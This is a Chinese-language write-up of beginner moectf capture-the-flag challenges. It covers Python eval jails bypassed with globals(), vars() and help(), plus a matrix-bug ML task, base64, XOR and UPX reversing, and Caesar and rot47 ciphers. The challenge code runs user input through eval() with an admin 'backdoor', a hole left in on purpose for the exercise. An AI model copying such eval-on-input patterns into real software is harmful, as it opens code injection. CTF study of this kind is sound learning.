        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_valid_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor >> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

使用globals()获取key

然后再选b,输入key,执行命令

leak level 1

fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    def func_filter(s):
      not_allowed = set('moe_dbt')
      return any(c in not_allowed for c in s)
    print("| Options:
|       [V]uln
|       [B]ackdoor")
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        code = input("code >> ")
        if(len(code)>6):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_vailed_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor >> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

这里还是需要看全局变量,找key

想到的就是help()、globals()、dir()

可以看到上面不是长度太长,就是被过滤了字符

找gpt问问,查全局变量的函数

问到一个vars(),符合条件,拿到key

leak level 2

 fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    print("| Options:
|       [V]uln
|       [B]ackdoor")
    def func_filter(s):
      not_allowed = set('dbtaaaaaaaaa!')
      return any(c in not_allowed for c in s)
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        print("you need to ")
        code = input("code >> ")
        if(len(code)>6):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        if not code.isascii():
          print("please use ascii only thanks!")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_vailed_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

思路还是找全局变量,一看这里的过滤,可以用help()

help()进入,查__main__查看当前文件,找到Key
moectf{install_torch_torchvision_torchaudio}

AI

EZ MLP

import numpy as np

def fc(x, weight, bias):
    return np.matmul(weight, x) + bias

def forward(x):
    z1 = fc(x, w1, b1)
    z2 = fc(z1, w2, b2)
    y = fc(z2, w3, b3)
    return y

w1 = np.load('npys/w1.npy')
b1 = np.load('npys/b1.npy')
w2 = np.load('npys/w2.npy')
b2 = np.load('npys/b2.npy')
w3 = np.load('npys/w3.npy')
b3 = np.load('npys/b3.npy')

float2chr = lambda f: chr(int(np.round((f + 1) * 255 / 2)))

inputs = np.load('npys/inputs.npy')
flag = ''
for i in range(len(inputs)):
    y = forward(inputs[i])
    c0 = float2chr(y[0, 0])
    c1 = float2chr(y[1, 0])
    flag += c0 + c1
print('moectf{' + flag + '}')

# Hints:
#  > Fix the bug in the code to get the flag, only one line of code needs to be changed.
#  > Understand the code and the figure(Example.jpg) before flag submission.
#  > Example.jpg is only for tutorial and demonstration, no hidden information contained.

根据提示,需要改一行代码,让程序运行得到flag

先不改运行看报错,报错大概意思就是矩阵相乘的行列不匹配

np.matmul这个函数进行矩阵相乘

(n,m)(m,x)=(n,x)

前列数要等于后行数

把给的npy文件加载出来看看长什么样

import numpy as np

x = np.load('./inputs.npy')
print(x[0])


w1 = np.load('./w1.npy')
b1 = np.load('./b1.npy')
w2 = np.load('./w2.npy')
b2 = np.load('./b2.npy')
w3 = np.load('./w3.npy')
b3 = np.load('./b3.npy')

print(b1)
print(w1)

知道是fc这个函数出了问题

inputs(i)这里给的矩阵是(4,1),而权重w1这样的是(4,4)

看到fc函数

def fc(x, weight, bias):
    return np.matmul(x, weight) + bias

x矩阵是一个(4,1)

weight是一个(4,4)

所以weight和x调换位置

def fc(x, weight, bias):
    return np.matmul(weight, x) + bias

其实就是一个矩阵乘法的一个规则

RE

base64

反编译所得pyc文件

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
    print('good job!!!!')
else:
    print('something wrong???')
    exit(0)

也就是把flagbase64加密再通过上述映射表替换后就是str1

那只需要把str1反过来映射替换,再base64解密就得到flag

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
enc_flag = str1.translate(str.maketrans(string1, string2))
flag = base64.b64decode(enc_flag.encode()).decode()
print(flag)

xor

ida打开 f15看反编译

image-20230822015848760

看到^了一个0x39也就是57

提示xor特性a^b=c c^a=b

所以找到enc,再遍历它异或57就得到输入的flag

"""54, 56, 5C, 5A, 4D, 5F, 42, 60, 56, 4C, 66, 52, 57, 09, 4E, 66, 51, 09, 4E, 66, 4D, 09, 66, 61, 09, 6B, 18, 44"""
str = "TV\ZM_B`VLfRW.Nf"\
"Q.NfM.fa.k.D...."
flag = ""
for i in str:
    flag+=chr(ord(i)^57)

print(flag)

不知道为什么会有只可读字符出现
#这样是可以的
str = [0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 0x66,0x52, 0x57, 0x9, 0x4E, 0x66, 0x51, 0x9, 0x4E, 0x66, 0x4D, 0x9, 0x66,0x61, 0x9, 0x6B, 0x18, 0x44]
flag = ""
for i in str:
   h = i^0x39
   flag+=chr(h)
print(flag)

upx

先脱壳,然后查找flag字符串,找到主函数

然后就是和xor一样的方式异或得flag

data = [0x0A, 8, 2, 4, 0x13, 1, 0x1C, 0x57, 0x0F, 0x38, 0x1E, 0x57,0x12, 0x38, 0x2C, 9, 0x57, 0x10, 0x38, 0x2F, 0x57, 0x10, 0x38,0x13, 8, 0x38, 0x35, 2, 0x11, 0x54, 0x15, 0x14, 2, 0x38, 0x32,0x37, 0x3F, 0x46,0x46, 0x46, 0x1A, 0,0,0,0,0]
for h in range(18):
    data.append(0)
print(data)

flag = ""
for i in data:
   h = i^0x67
   flag+=chr(h)
print(flag)

crypto

皇帝的新密码

tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

t->m

位移7,凯撒密码解密

ezrot

rot47解密,加个m在最前面